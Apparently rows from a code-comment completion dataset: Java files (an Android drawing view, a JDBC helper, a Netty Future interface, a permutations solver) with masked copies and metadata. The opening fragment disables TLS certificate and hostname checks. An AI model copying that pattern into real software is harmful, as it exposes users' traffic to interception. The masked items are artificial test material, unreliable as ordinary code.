@param param * @param isIgnoreSSL * @return */ public static String sendPostSSL(String httpUrl, String param, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpUrl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); } // 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 开启SSL忽略 */ private static void trustAllHttpsCertificates() throws Exception { javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1]; javax.net.ssl.TrustManager tm = new SSLmiTM(); trustAllCerts[0] = tm; javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL"); sc.init(null, trustAllCerts, null); javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } }
0
2,734
23
2,835
22
3,110
21
2,835
22
3,896
35
false
false
false
false
false
true
49815_11
package com.zhangke.widget; import android.content.Context; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Paint; import android.graphics.Path; import android.graphics.PointF; import android.support.annotation.Nullable; import android.util.AttributeSet; import android.view.MotionEvent; import android.view.View; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.Stack; /** * 画板 View * <p> * Created by zk721 on 2018/2/17. */ public class DrawView extends View { private static final String TAG = "DrawView"; /** * 画笔颜色数组 */ private final int[] COLOR_ARRAY = {0xffEA4335, 0xff4285F4, 0xffFBBC05, 0xff34A853, 0xff42BD17, 0xff90BD0E, 0xff18BD8D, 0xff27BDAD, 0xff2098BD, 0xffA96FBD, 0xff86B9BD, 0xff3DBDA4}; /** * 绘制画笔 */ private Paint mPaint = new Paint(); /** * 历史路径 */ private List<DrawPath> mDrawMoveHistory = new ArrayList<>(); /** * 用于生成随机数,随机取出颜色数组中的颜色 */ private Random random = new Random(); public DrawView(Context context) { super(context); init(); } public DrawView(Context context, @Nullable AttributeSet attrs) { super(context, attrs); init(); } public DrawView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); init(); } private void init() { mPaint.setAntiAlias(true); mPaint.setStyle(Paint.Style.STROKE); mPaint.setStrokeCap(Paint.Cap.ROUND); mPaint.setStrokeWidth(dip2px(getContext(), 5)); } @Override public boolean onTouchEvent(MotionEvent event) { //多指触控需要使用 getActionMasked switch (event.getActionMasked()) { case MotionEvent.ACTION_DOWN: { //处理点击事件 performClick(); //重置所有 PointerId 为 -1 clearTouchRecordStatus(); //新增一个轨迹 addNewPath(event); //重绘 invalidate(); return true; } case MotionEvent.ACTION_MOVE: { if (mDrawMoveHistory.size() > 0) { for (int i = 0; i < event.getPointerCount(); i++) { //遍历当前屏幕上所有手指 int itemPointerId = event.getPointerId(i);//获取到这个手指的 ID for (DrawPath itemPath : mDrawMoveHistory) { //遍历绘制记录表,通过 ID 找到对应的记录 if (itemPointerId == itemPath.pointerId) { int pointerIndex = event.findPointerIndex(itemPointerId); //通过 pointerIndex 获取到此次滑动事件的所有历史轨迹 List<PointF> recordList = readPointList(event, pointerIndex); if (!listEquals(recordList, itemPath.record.peek())) { //判断该 List 是否已存在,不存在则添加进去 itemPath.record.push(recordList); addPath(recordList, itemPath.path); } } } } invalidate(); } return true; } case MotionEvent.ACTION_POINTER_UP: //屏幕上有一根指头抬起,但有别的指头未抬起时的事件 int pointerId = event.getPointerId(event.getActionIndex()); for (DrawPath item : mDrawMoveHistory) { if (item.pointerId == pointerId) { //该手指已绘制结束,将此 PointerId 重置为 -1 item.pointerId = -1; } } break; case MotionEvent.ACTION_POINTER_DOWN: //屏幕上已经有了手指,此时又有别的手指点击时事件 addNewPath(event); invalidate(); break; case MotionEvent.ACTION_UP: //最后一根手指抬起,重置所有 PointerId clearTouchRecordStatus(); break; case MotionEvent.ACTION_CANCEL: //事件被取消 clearTouchRecordStatus(); break; } return true; } private void addNewPath(MotionEvent event) { int pointerId = event.getPointerId(event.getActionIndex()); float x = event.getX(event.findPointerIndex(pointerId)); float y = event.getY(event.findPointerIndex(pointerId)); Path path = new Path(); path.moveTo(x, y); path.lineTo(x, y); DrawPath drawPath = new DrawPath(pointerId, getPathColor(), path); List<PointF> pointList = new ArrayList<>(); pointList.add(new PointF(x, y)); pointList.add(new PointF(x, y)); drawPath.record.push(pointList); mDrawMoveHistory.add(drawPath); } private List<PointF> readPointList(MotionEvent event, int pointerIndex) { List<PointF> list = new ArrayList<>(); for (int j = 0; j < event.getHistorySize(); j++) { list.add(new PointF(event.getHistoricalX(pointerIndex, j), event.getHistoricalY(pointerIndex, j))); } return list; } /** * 判断两个列表中所有的数据是否相同 */ private boolean listEquals(List<PointF> lis1, List<PointF> list2) { if (lis1.equals(list2)) { return true; } if (lis1.size() != list2.size()) { return false; } if (lis1.isEmpty()) { return true; } for (int i = 0; i < lis1.size(); i++) { PointF point1 = lis1.get(i); PointF point2 = list2.get(i); if (!point1.equals(point2)) { return false; } } return true; } private void addPath(List<PointF> list, Path path) { for (PointF item : list) { path.lineTo(item.x, item.y); } } /** * 清除记录触摸事件的状态 */ private void clearTouchRecordStatus() { for (DrawPath item : mDrawMoveHistory) { item.pointerId = -1; } } @Override public boolean performClick() { return super.performClick(); } @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); if (mDrawMoveHistory == null || mDrawMoveHistory.isEmpty()) { return; } for (DrawPath item : mDrawMoveHistory) { mPaint.setColor(item.drawColor); canvas.drawPath(item.path, mPaint); } } /** * 清空画布 */ public void clear() { mDrawMoveHistory.clear(); invalidate(); } /** * 获取绘制图案的 Bitmap */ public Bitmap getDrawBitmap() { Bitmap bitmap; try { setDrawingCacheEnabled(true); buildDrawingCache(); bitmap = Bitmap.createBitmap(getDrawingCache(), 0, 0, getMeasuredWidth(), getMeasuredHeight(), null, false); } finally { setDrawingCacheEnabled(false); destroyDrawingCache(); } return bitmap; } /** * 将dip或dp值转换为px值,保证尺寸大小不变 */ private int dip2px(Context context, float dipValue) { final float scale = context.getResources().getDisplayMetrics().density; return (int) ((double) dipValue * (double) scale + 0.5); } private int getPathColor() { return COLOR_ARRAY[random.nextInt(COLOR_ARRAY.length)]; } private static class DrawPath { /** * 手指 ID,默认为 -1,手指离开后置位 -1 */ private int pointerId = -1; /** * 曲线颜色 */ private int drawColor; /** * 曲线路径 */ private Path path; /** * 轨迹列表,用于判断目标轨迹是否已添加进来 */ private Stack<List<PointF>> record; DrawPath(int pointerId, int drawColor, Path path) { this.pointerId = pointerId; this.drawColor = drawColor; this.path = path; record = new Stack<>(); } } }
0xZhangKe/Collection
DrawView/DrawView.java
2,095
//遍历绘制记录表,通过 ID 找到对应的记录
line_comment
zh-cn
package com.zhangke.widget; import android.content.Context; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Paint; import android.graphics.Path; import android.graphics.PointF; import android.support.annotation.Nullable; import android.util.AttributeSet; import android.view.MotionEvent; import android.view.View; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.Stack; /** * 画板 View * <p> * Created by zk721 on 2018/2/17. */ public class DrawView extends View { private static final String TAG = "DrawView"; /** * 画笔颜色数组 */ private final int[] COLOR_ARRAY = {0xffEA4335, 0xff4285F4, 0xffFBBC05, 0xff34A853, 0xff42BD17, 0xff90BD0E, 0xff18BD8D, 0xff27BDAD, 0xff2098BD, 0xffA96FBD, 0xff86B9BD, 0xff3DBDA4}; /** * 绘制画笔 */ private Paint mPaint = new Paint(); /** * 历史路径 */ private List<DrawPath> mDrawMoveHistory = new ArrayList<>(); /** * 用于生成随机数,随机取出颜色数组中的颜色 */ private Random random = new Random(); public DrawView(Context context) { super(context); init(); } public DrawView(Context context, @Nullable AttributeSet attrs) { super(context, attrs); init(); } public DrawView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); init(); } private void init() { mPaint.setAntiAlias(true); mPaint.setStyle(Paint.Style.STROKE); mPaint.setStrokeCap(Paint.Cap.ROUND); mPaint.setStrokeWidth(dip2px(getContext(), 5)); } @Override public boolean onTouchEvent(MotionEvent event) { //多指触控需要使用 getActionMasked switch (event.getActionMasked()) { case MotionEvent.ACTION_DOWN: { //处理点击事件 performClick(); //重置所有 PointerId 为 -1 clearTouchRecordStatus(); //新增一个轨迹 addNewPath(event); //重绘 invalidate(); return true; } case MotionEvent.ACTION_MOVE: { if (mDrawMoveHistory.size() > 0) { for (int i = 0; i < event.getPointerCount(); i++) { //遍历当前屏幕上所有手指 int itemPointerId = event.getPointerId(i);//获取到这个手指的 ID for (DrawPath itemPath : mDrawMoveHistory) { //遍历 <SUF> if (itemPointerId == itemPath.pointerId) { int pointerIndex = event.findPointerIndex(itemPointerId); //通过 pointerIndex 获取到此次滑动事件的所有历史轨迹 List<PointF> recordList = readPointList(event, pointerIndex); if (!listEquals(recordList, itemPath.record.peek())) { //判断该 List 是否已存在,不存在则添加进去 itemPath.record.push(recordList); addPath(recordList, itemPath.path); } } } } invalidate(); } return true; } case MotionEvent.ACTION_POINTER_UP: //屏幕上有一根指头抬起,但有别的指头未抬起时的事件 int pointerId = event.getPointerId(event.getActionIndex()); for (DrawPath item : mDrawMoveHistory) { if (item.pointerId == pointerId) { //该手指已绘制结束,将此 PointerId 重置为 -1 item.pointerId = -1; } } break; case MotionEvent.ACTION_POINTER_DOWN: //屏幕上已经有了手指,此时又有别的手指点击时事件 addNewPath(event); invalidate(); break; case MotionEvent.ACTION_UP: //最后一根手指抬起,重置所有 PointerId clearTouchRecordStatus(); break; case MotionEvent.ACTION_CANCEL: //事件被取消 clearTouchRecordStatus(); break; } return true; } private void addNewPath(MotionEvent event) { int pointerId = event.getPointerId(event.getActionIndex()); float x = event.getX(event.findPointerIndex(pointerId)); float y = event.getY(event.findPointerIndex(pointerId)); Path path = new Path(); path.moveTo(x, y); path.lineTo(x, y); DrawPath drawPath = new DrawPath(pointerId, getPathColor(), path); List<PointF> pointList = new ArrayList<>(); pointList.add(new PointF(x, y)); pointList.add(new PointF(x, y)); drawPath.record.push(pointList); mDrawMoveHistory.add(drawPath); } private List<PointF> readPointList(MotionEvent event, int pointerIndex) { List<PointF> list = new ArrayList<>(); for (int j = 0; j < event.getHistorySize(); j++) { list.add(new PointF(event.getHistoricalX(pointerIndex, j), event.getHistoricalY(pointerIndex, j))); } return list; } /** * 判断两个列表中所有的数据是否相同 */ private boolean listEquals(List<PointF> lis1, List<PointF> list2) { if (lis1.equals(list2)) { return true; } if (lis1.size() != list2.size()) { return false; } if (lis1.isEmpty()) { return true; } for (int i = 0; i < lis1.size(); i++) { PointF point1 = lis1.get(i); PointF point2 = list2.get(i); if (!point1.equals(point2)) { return false; } } return true; } private void addPath(List<PointF> list, Path path) { for (PointF item : list) { path.lineTo(item.x, item.y); } } /** * 清除记录触摸事件的状态 */ private void clearTouchRecordStatus() { for (DrawPath item : mDrawMoveHistory) { item.pointerId = -1; } } @Override public boolean performClick() { return super.performClick(); } @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); if (mDrawMoveHistory == null || mDrawMoveHistory.isEmpty()) { return; } for (DrawPath item : mDrawMoveHistory) { mPaint.setColor(item.drawColor); canvas.drawPath(item.path, mPaint); } } /** * 清空画布 */ public void clear() { mDrawMoveHistory.clear(); invalidate(); } /** * 获取绘制图案的 Bitmap */ public Bitmap getDrawBitmap() { Bitmap bitmap; try { setDrawingCacheEnabled(true); buildDrawingCache(); bitmap = Bitmap.createBitmap(getDrawingCache(), 0, 0, getMeasuredWidth(), getMeasuredHeight(), null, false); } finally { setDrawingCacheEnabled(false); destroyDrawingCache(); } return bitmap; } /** * 将dip或dp值转换为px值,保证尺寸大小不变 */ private int dip2px(Context context, float dipValue) { final float scale = context.getResources().getDisplayMetrics().density; return (int) ((double) dipValue * (double) scale + 0.5); } private int getPathColor() { return COLOR_ARRAY[random.nextInt(COLOR_ARRAY.length)]; } private static class DrawPath { /** * 手指 ID,默认为 -1,手指离开后置位 -1 */ private int pointerId = -1; /** * 曲线颜色 */ private int drawColor; /** * 曲线路径 */ private Path path; /** * 轨迹列表,用于判断目标轨迹是否已添加进来 */ private Stack<List<PointF>> record; DrawPath(int pointerId, int drawColor, Path path) { this.pointerId = pointerId; this.drawColor = drawColor; this.path = path; record = new Stack<>(); } } }
0
1,865
14
2,097
13
2,224
12
2,095
13
2,654
28
false
false
false
false
false
true
30389_3
package pers.tan.database; import java.io.InputStream; import java.sql.*; import java.util.Properties; /** * DB class * * @author tanwei * @date 17-11-19 */ public class DB { private static Properties info = null; private static String driverUrl = null; private static String user = null; private static String password = null; private static String driverClass = null; { try { InputStream in = getClass().getClassLoader().getResourceAsStream("jdbc.properties"); Properties properties = new Properties(); properties.load(in); driverClass = properties.getProperty("driverClass"); driverUrl = properties.getProperty("driverUrl"); user = properties.getProperty("user"); password = properties.getProperty("password"); info = new Properties(); info.put("user", user); info.put("password", password); } catch (Exception e) { e.printStackTrace(); } } /** * 直接通过驱动获取数据库连接 * @return * @throws Exception */ public Connection getConnectByDriver() throws Exception { Driver driver = (Driver) Class.forName(driverClass).newInstance(); Connection connection = driver.connect(driverUrl, info); return connection; } /** * 通过DriverManager获取数据库连接 * @return * @throws Exception */ public Connection getConnect() throws Exception { Class.forName(driverClass); Connection connection = DriverManager.getConnection(driverUrl,user, password); return connection; } /** * 插入100条记录 */ public void insert() { Statement statement = null; try { statement = getConnect().createStatement(); long start = System.currentTimeMillis(); for(int i = 1; i <= 100; ++i) { String sql = "INSERT INTO hero VALUES(null, '英雄'," + i + ", " + i + ")"; statement.execute(sql); } long end = System.currentTimeMillis(); System.out.println("插入100条sql耗时" + (end - start) / 1000 + "s"); } catch (Exception e) { e.printStackTrace(); } finally { if(statement != null) { try { statement.close(); } catch (SQLException e) { e.printStackTrace(); } } } } }
0xc9e36/toyCode
java/src/pers/tan/database/DB.java
548
/** * 插入100条记录 */
block_comment
zh-cn
package pers.tan.database; import java.io.InputStream; import java.sql.*; import java.util.Properties; /** * DB class * * @author tanwei * @date 17-11-19 */ public class DB { private static Properties info = null; private static String driverUrl = null; private static String user = null; private static String password = null; private static String driverClass = null; { try { InputStream in = getClass().getClassLoader().getResourceAsStream("jdbc.properties"); Properties properties = new Properties(); properties.load(in); driverClass = properties.getProperty("driverClass"); driverUrl = properties.getProperty("driverUrl"); user = properties.getProperty("user"); password = properties.getProperty("password"); info = new Properties(); info.put("user", user); info.put("password", password); } catch (Exception e) { e.printStackTrace(); } } /** * 直接通过驱动获取数据库连接 * @return * @throws Exception */ public Connection getConnectByDriver() throws Exception { Driver driver = (Driver) Class.forName(driverClass).newInstance(); Connection connection = driver.connect(driverUrl, info); return connection; } /** * 通过DriverManager获取数据库连接 * @return * @throws Exception */ public Connection getConnect() throws Exception { Class.forName(driverClass); Connection connection = DriverManager.getConnection(driverUrl,user, password); return connection; } /** * 插入1 <SUF>*/ public void insert() { Statement statement = null; try { statement = getConnect().createStatement(); long start = System.currentTimeMillis(); for(int i = 1; i <= 100; ++i) { String sql = "INSERT INTO hero VALUES(null, '英雄'," + i + ", " + i + ")"; statement.execute(sql); } long end = System.currentTimeMillis(); System.out.println("插入100条sql耗时" + (end - start) / 1000 + "s"); } catch (Exception e) { e.printStackTrace(); } finally { if(statement != null) { try { statement.close(); } catch (SQLException e) { e.printStackTrace(); } } } } }
0
507
14
548
13
607
13
548
13
677
18
false
false
false
false
false
true
52655_7
package com.yu.service; import org.springframework.stereotype.Service; /** * 发送vosa的车相关的服务实现接口 * @author za'y */ @Service public interface CarService { // 通用实现 boolean common(String key, int value); // 初始化 boolean init(); // 减速 boolean sspeed(); // 停车 boolean Stop(); // 控制速度 boolean Speed(int speed); // 换挡 boolean Gear(int gear); // 修改里程 boolean Mileage(int mileage); // 修改电量 boolean Power(int power); // 控制灯光 boolean Light(int light); // 设置门状态 boolean Door(int door); }
0xiaoyu/vsoa_yolov_car
src/main/java/com/yu/service/CarService.java
178
// 设置门状态
line_comment
zh-cn
package com.yu.service; import org.springframework.stereotype.Service; /** * 发送vosa的车相关的服务实现接口 * @author za'y */ @Service public interface CarService { // 通用实现 boolean common(String key, int value); // 初始化 boolean init(); // 减速 boolean sspeed(); // 停车 boolean Stop(); // 控制速度 boolean Speed(int speed); // 换挡 boolean Gear(int gear); // 修改里程 boolean Mileage(int mileage); // 修改电量 boolean Power(int power); // 控制灯光 boolean Light(int light); // 设置 <SUF> boolean Door(int door); }
0
157
4
178
4
176
4
178
4
240
7
false
false
false
false
false
true
36688_1
import java.util.ArrayList; import java.util.List; public class Main { public static void main(String[] args) { int [] nums = {1,2,3}; Solution solution = new Solution(); System.out.println(solution.permutationsI(nums)); } } class Solution { /* 回溯算法:全排列 I */ void backtrack(List<Integer> state, int[] choices, boolean[] selected, List<List<Integer>> res) { // 当状态长度等于元素数量时,记录解 if (state.size() == choices.length) { res.add(new ArrayList<Integer>(state)); return; } // 遍历所有选择 for (int i = 0; i < choices.length; i++) { int choice = choices[i]; // 剪枝:不允许重复选择元素 if (!selected[i]) { // 尝试:做出选择,更新状态 selected[i] = true; state.add(choice); // 进行下一轮选择 backtrack(state, choices, selected, res); // 回退:撤销选择,恢复到之前的状态 selected[i] = false; state.remove(state.size() - 1); } } } /* 全排列 I */ List<List<Integer>> permutationsI(int[] nums) { List<List<Integer>> res = new ArrayList<List<Integer>>(); backtrack(new ArrayList<Integer>(), nums, new boolean[nums.length], res); return res; } }
0xihehe0/leetcode-Java
leetcode/_046/src/Main.java
369
// 当状态长度等于元素数量时,记录解
line_comment
zh-cn
import java.util.ArrayList; import java.util.List; public class Main { public static void main(String[] args) { int [] nums = {1,2,3}; Solution solution = new Solution(); System.out.println(solution.permutationsI(nums)); } } class Solution { /* 回溯算法:全排列 I */ void backtrack(List<Integer> state, int[] choices, boolean[] selected, List<List<Integer>> res) { // 当状 <SUF> if (state.size() == choices.length) { res.add(new ArrayList<Integer>(state)); return; } // 遍历所有选择 for (int i = 0; i < choices.length; i++) { int choice = choices[i]; // 剪枝:不允许重复选择元素 if (!selected[i]) { // 尝试:做出选择,更新状态 selected[i] = true; state.add(choice); // 进行下一轮选择 backtrack(state, choices, selected, res); // 回退:撤销选择,恢复到之前的状态 selected[i] = false; state.remove(state.size() - 1); } } } /* 全排列 I */ List<List<Integer>> permutationsI(int[] nums) { List<List<Integer>> res = new ArrayList<List<Integer>>(); backtrack(new ArrayList<Integer>(), nums, new boolean[nums.length], res); return res; } }
0
317
11
369
11
384
11
369
11
475
18
false
false
false
false
false
true
24139_14
/* * Copyright 2013 The Netty Project * * The Netty Project licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ package io.netty.util.concurrent; import java.util.concurrent.CancellationException; import java.util.concurrent.TimeUnit; /** * The result of an asynchronous operation. */ @SuppressWarnings("ClassNameSameAsAncestorName") public interface Future<V> extends java.util.concurrent.Future<V> { /** * Returns {@code true} if and only if the I/O operation was completed * successfully. */ // 是否成功 boolean isSuccess(); /** * returns {@code true} if and only if the operation can be cancelled via {@link #cancel(boolean)}. */ // 是否可取消 boolean isCancellable(); /** * Returns the cause of the failed I/O operation if the I/O operation has * failed. * * @return the cause of the failure. * {@code null} if succeeded or this future is not * completed yet. */ // 如果任务执行失败,这个方法返回异常信息 Throwable cause(); /** * Adds the specified listener to this future. The * specified listener is notified when this future is * {@linkplain #isDone() done}. If this future is already * completed, the specified listener is notified immediately. */ // 添加 Listener 来进行回调 Future<V> addListener(GenericFutureListener<? extends Future<? super V>> listener); /** * Adds the specified listeners to this future. The * specified listeners are notified when this future is * {@linkplain #isDone() done}. If this future is already * completed, the specified listeners are notified immediately. */ Future<V> addListeners(GenericFutureListener<? extends Future<? super V>>... listeners); /** * Removes the first occurrence of the specified listener from this future. * The specified listener is no longer notified when this * future is {@linkplain #isDone() done}. If the specified * listener is not associated with this future, this method * does nothing and returns silently. */ Future<V> removeListener(GenericFutureListener<? extends Future<? super V>> listener); /** * Removes the first occurrence for each of the listeners from this future. * The specified listeners are no longer notified when this * future is {@linkplain #isDone() done}. If the specified * listeners are not associated with this future, this method * does nothing and returns silently. */ Future<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... listeners); /** * Waits for this future until it is done, and rethrows the cause of the failure if this future * failed. */ // 阻塞等待任务结束,如果任务失败,将“导致失败的异常”重新抛出来 Future<V> sync() throws InterruptedException; /** * Waits for this future until it is done, and rethrows the cause of the failure if this future * failed. */ // 不响应中断的 sync(),这个大家应该都很熟了 Future<V> syncUninterruptibly(); /** * Waits for this future to be completed. * * @throws InterruptedException * if the current thread was interrupted */ /* * 顺便说下 sync() 和 await() 的区别:sync() 内部会先调用 await() 方法,等 await() 方法返回后,会检查下这个任务是否失败,如果失败, * 重新将导致失败的异常抛出来。也就是说,如果使用 await(),任务抛出异常后,await() 方法会返回,但是不会抛出异常,而 sync() 方法返回的同时会抛出异常。 * */ // 阻塞等待任务结束,和 sync() 功能是一样的,不过如果任务失败,它不会抛出执行过程中的异常 Future<V> await() throws InterruptedException; /** * Waits for this future to be completed without * interruption. This method catches an {@link InterruptedException} and * discards it silently. */ Future<V> awaitUninterruptibly(); /** * Waits for this future to be completed within the * specified time limit. * * @return {@code true} if and only if the future was completed within * the specified time limit * * @throws InterruptedException * if the current thread was interrupted */ boolean await(long timeout, TimeUnit unit) throws InterruptedException; /** * Waits for this future to be completed within the * specified time limit. * * @return {@code true} if and only if the future was completed within * the specified time limit * * @throws InterruptedException * if the current thread was interrupted */ boolean await(long timeoutMillis) throws InterruptedException; /** * Waits for this future to be completed within the * specified time limit without interruption. This method catches an * {@link InterruptedException} and discards it silently. * * @return {@code true} if and only if the future was completed within * the specified time limit */ boolean awaitUninterruptibly(long timeout, TimeUnit unit); /** * Waits for this future to be completed within the * specified time limit without interruption. This method catches an * {@link InterruptedException} and discards it silently. * * @return {@code true} if and only if the future was completed within * the specified time limit */ boolean awaitUninterruptibly(long timeoutMillis); /** * Return the result without blocking. If the future is not done yet this will return {@code null}. * * As it is possible that a {@code null} value is used to mark the future as successful you also need to check * if the future is really done with {@link #isDone()} and not relay on the returned {@code null} value. */ // 获取执行结果,不阻塞。我们都知道 java.util.concurrent.Future 中的 get() 是阻塞的 V getNow(); /** * {@inheritDoc} * * If the cancellation was successful it will fail the future with an {@link CancellationException}. */ // 取消任务执行,如果取消成功,任务会因为 CancellationException 异常而导致失败 // 也就是 isSuccess()==false,同时上面的 cause() 方法返回 CancellationException 的实例。 // mayInterruptIfRunning 说的是:是否对正在执行该任务的线程进行中断(这样才能停止该任务的执行), // 似乎 Netty 中 Future 接口的各个实现类,都没有使用这个参数 @Override boolean cancel(boolean mayInterruptIfRunning); }
1030907690/netty-netty-4.1.27.Final
common/src/main/java/io/netty/util/concurrent/Future.java
1,625
// 阻塞等待任务结束,如果任务失败,将“导致失败的异常”重新抛出来
line_comment
zh-cn
/* * Copyright 2013 The Netty Project * * The Netty Project licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ package io.netty.util.concurrent; import java.util.concurrent.CancellationException; import java.util.concurrent.TimeUnit; /** * The result of an asynchronous operation. */ @SuppressWarnings("ClassNameSameAsAncestorName") public interface Future<V> extends java.util.concurrent.Future<V> { /** * Returns {@code true} if and only if the I/O operation was completed * successfully. */ // 是否成功 boolean isSuccess(); /** * returns {@code true} if and only if the operation can be cancelled via {@link #cancel(boolean)}. */ // 是否可取消 boolean isCancellable(); /** * Returns the cause of the failed I/O operation if the I/O operation has * failed. * * @return the cause of the failure. * {@code null} if succeeded or this future is not * completed yet. */ // 如果任务执行失败,这个方法返回异常信息 Throwable cause(); /** * Adds the specified listener to this future. The * specified listener is notified when this future is * {@linkplain #isDone() done}. If this future is already * completed, the specified listener is notified immediately. */ // 添加 Listener 来进行回调 Future<V> addListener(GenericFutureListener<? extends Future<? super V>> listener); /** * Adds the specified listeners to this future. The * specified listeners are notified when this future is * {@linkplain #isDone() done}. If this future is already * completed, the specified listeners are notified immediately. */ Future<V> addListeners(GenericFutureListener<? extends Future<? super V>>... listeners); /** * Removes the first occurrence of the specified listener from this future. * The specified listener is no longer notified when this * future is {@linkplain #isDone() done}. If the specified * listener is not associated with this future, this method * does nothing and returns silently. */ Future<V> removeListener(GenericFutureListener<? extends Future<? super V>> listener); /** * Removes the first occurrence for each of the listeners from this future. * The specified listeners are no longer notified when this * future is {@linkplain #isDone() done}. If the specified * listeners are not associated with this future, this method * does nothing and returns silently. */ Future<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... listeners); /** * Waits for this future until it is done, and rethrows the cause of the failure if this future * failed. */ // 阻塞 <SUF> Future<V> sync() throws InterruptedException; /** * Waits for this future until it is done, and rethrows the cause of the failure if this future * failed. */ // 不响应中断的 sync(),这个大家应该都很熟了 Future<V> syncUninterruptibly(); /** * Waits for this future to be completed. * * @throws InterruptedException * if the current thread was interrupted */ /* * 顺便说下 sync() 和 await() 的区别:sync() 内部会先调用 await() 方法,等 await() 方法返回后,会检查下这个任务是否失败,如果失败, * 重新将导致失败的异常抛出来。也就是说,如果使用 await(),任务抛出异常后,await() 方法会返回,但是不会抛出异常,而 sync() 方法返回的同时会抛出异常。 * */ // 阻塞等待任务结束,和 sync() 功能是一样的,不过如果任务失败,它不会抛出执行过程中的异常 Future<V> await() throws InterruptedException; /** * Waits for this future to be completed without * interruption. This method catches an {@link InterruptedException} and * discards it silently. */ Future<V> awaitUninterruptibly(); /** * Waits for this future to be completed within the * specified time limit. * * @return {@code true} if and only if the future was completed within * the specified time limit * * @throws InterruptedException * if the current thread was interrupted */ boolean await(long timeout, TimeUnit unit) throws InterruptedException; /** * Waits for this future to be completed within the * specified time limit. * * @return {@code true} if and only if the future was completed within * the specified time limit * * @throws InterruptedException * if the current thread was interrupted */ boolean await(long timeoutMillis) throws InterruptedException; /** * Waits for this future to be completed within the * specified time limit without interruption. This method catches an * {@link InterruptedException} and discards it silently. * * @return {@code true} if and only if the future was completed within * the specified time limit */ boolean awaitUninterruptibly(long timeout, TimeUnit unit); /** * Waits for this future to be completed within the * specified time limit without interruption. This method catches an * {@link InterruptedException} and discards it silently. * * @return {@code true} if and only if the future was completed within * the specified time limit */ boolean awaitUninterruptibly(long timeoutMillis); /** * Return the result without blocking. If the future is not done yet this will return {@code null}. * * As it is possible that a {@code null} value is used to mark the future as successful you also need to check * if the future is really done with {@link #isDone()} and not relay on the returned {@code null} value. */ // 获取执行结果,不阻塞。我们都知道 java.util.concurrent.Future 中的 get() 是阻塞的 V getNow(); /** * {@inheritDoc} * * If the cancellation was successful it will fail the future with an {@link CancellationException}. */ // 取消任务执行,如果取消成功,任务会因为 CancellationException 异常而导致失败 // 也就是 isSuccess()==false,同时上面的 cause() 方法返回 CancellationException 的实例。 // mayInterruptIfRunning 说的是:是否对正在执行该任务的线程进行中断(这样才能停止该任务的执行), // 似乎 Netty 中 Future 接口的各个实现类,都没有使用这个参数 @Override boolean cancel(boolean mayInterruptIfRunning); }
0
1,604
23
1,625
22
1,730
21
1,625
22
2,123
47
false
false
false
false
false
true
47074_20
